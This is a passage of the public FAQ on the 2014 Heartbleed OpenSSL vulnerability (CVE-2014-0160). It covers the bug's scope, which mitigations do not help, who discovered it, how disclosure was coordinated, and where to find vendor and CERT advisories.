We don't know. Security community should deploy TLS/DTLS honeypots that entrap attackers and to alert about exploitation attempts.

Can attacker access only 64k of the memory?

There is no total of 64 kilobytes limitation to the attack, that limit applies only to a single heartbeat. Attacker can either keep reconnecting or during an active TLS connection keep requesting arbitrary number of 64 kilobyte chunks of memory content until enough secrets are revealed.

Is this a MITM bug like Apple's goto fail bug was?

No, this does not require a man in the middle attack (MITM). Attacker can directly contact the vulnerable service or attack any user connecting to a malicious service. However in addition to direct threat the theft of the key material allows man in the middle attackers to impersonate compromised services.

Does TLS client certificate authentication mitigate this?

No, heartbeat request can be sent and is replied to during the handshake phase of the protocol. This occurs prior to client certificate authentication.

Does OpenSSL's FIPS mode mitigate this?

No, OpenSSL Federal Information Processing Standard (FIPS) mode has no effect on the vulnerable heartbeat functionality.

Does Perfect Forward Secrecy (PFS) mitigate this?

Use of Perfect Forward Secrecy (PFS), which is unfortunately rare but powerful, should protect past communications from retrospective decryption. Please see https://twitter.com/ivanristic/status/453280081897467905 how leaked tickets may affect this.

Can heartbeat extension be disabled during the TLS handshake?

No, vulnerable heartbeat extension code is activated regardless of the results of the handshake phase negotiations. Only way to protect yourself is to upgrade to fixed version of OpenSSL or to recompile OpenSSL with the handshake removed from the code.

Who found the Heartbleed Bug?

This bug was independently discovered by a team of security engineers (Riku, Antti and Matti) at Codenomicon and Neel Mehta of Google Security, who first reported it to the OpenSSL team. Codenomicon team found heartbleed bug while improving the SafeGuard feature in Codenomicon's Defensics security testing tools and reported this bug to the NCSC-FI for vulnerability coordination and reporting to OpenSSL team.

What is the Defensics SafeGuard?

The SafeGuard feature of the Codenomicon's Defensics security testtools automatically tests the target system for weaknesses that compromise the integrity, privacy or safety. The SafeGuard is systematic solution to expose failed cryptographic certificate checks, privacy leaks or authentication bypass weaknesses that have exposed the Internet users to man in the middle attacks and eavesdropping. In addition to the Heartbleed bug the new Defensics TLS Safeguard feature can detect for instance the exploitable security flaw in widely used GnuTLS open source software implementing SSL/TLS functionality and the "goto fail;" bug in Apple's TLS/SSL implementation that was patched in February 2014.

Who coordinates response to this vulnerability?

Immediately after our discovery of the bug on 3rd of April 2014, NCSC-FI took up the task of verifying it, analyzing it further and reaching out to the authors of OpenSSL, software, operating system and appliance vendors, which were potentially affected. However, this vulnerability had been found and details released independently by others before this work was completed. Vendors should be notifying their users and service providers. Internet service providers should be notifying their end users where and when potential action is required.

Is there a bright side to all this?

For those service providers who are affected this is a good opportunity to upgrade security strength of the secret keys used. A lot of software gets updates which otherwise would have not been urgent. Although this is painful for the security community, we can rest assured that infrastructure of the cyber criminals and their secrets have been exposed as well.

What can be done to prevent this from happening in future?

The security community, we included, must learn to find these inevitable human mistakes sooner. Please support the development effort of software you trust your privacy to. Donate money to the OpenSSL project.

Where to find more information?

This Q&A was published as a follow-up to the OpenSSL advisory, since this vulnerability became public on 7th of April 2014. The OpenSSL project has made a statement at https://www.openssl.org/news/secadv_20140407.txt. NCSC-FI published an advisory at https://www.cert.fi/en/reports/2014/vulnerability788210.html. Individual vendors of operating system distributions, affected owners of Internet services, software packages and appliance vendors may issue their own advisories.

References

• CVE-2014-0160
• NCSC-FI case# 788210
• OpenSSL Security Advisory (published 7th of April 2014, ~17:30 UTC)
• CloudFlare: Staying ahead of OpenSSL vulnerabilities (published 7th of April 2014, ~18:00 UTC)
• heartbleed.com (published 7th of April 2014, ~19:00 UTC)
• Ubuntu / Security Notice USN-2165-1
• FreeBSD / SA-14:06.openssl
• FreshPorts / openssl 1.0.1_10
• Tor Project / OpenSSL bug CVE-2014-0160
• RedHat / RHSA-2014:0376-1
• CentOS / CESA-2014:0376
• Fedora / Status on CVE-2014-0160
• CERT/CC (USA)
• NCSC-FI (Finland)
• CERT.at (Austria)
• CIRCL (Luxembourg)
• CERT-FR (France)
• JPCERT/CC (Japan)
• CERT-SE (Sweden)
• NorCERT (Norway)
• NCSC-NL (Netherlands)
• CNCERT/CC (People's Republic of China)
• Public Safety Canada
• LITNET CERT (Lithuania)
• MyCERT (Malaysia)
• UNAM-CERT (Mexico)
• SingCERT (Singapore)
• Q-CERT (Qatar)

Depicted from Heart Bleed Website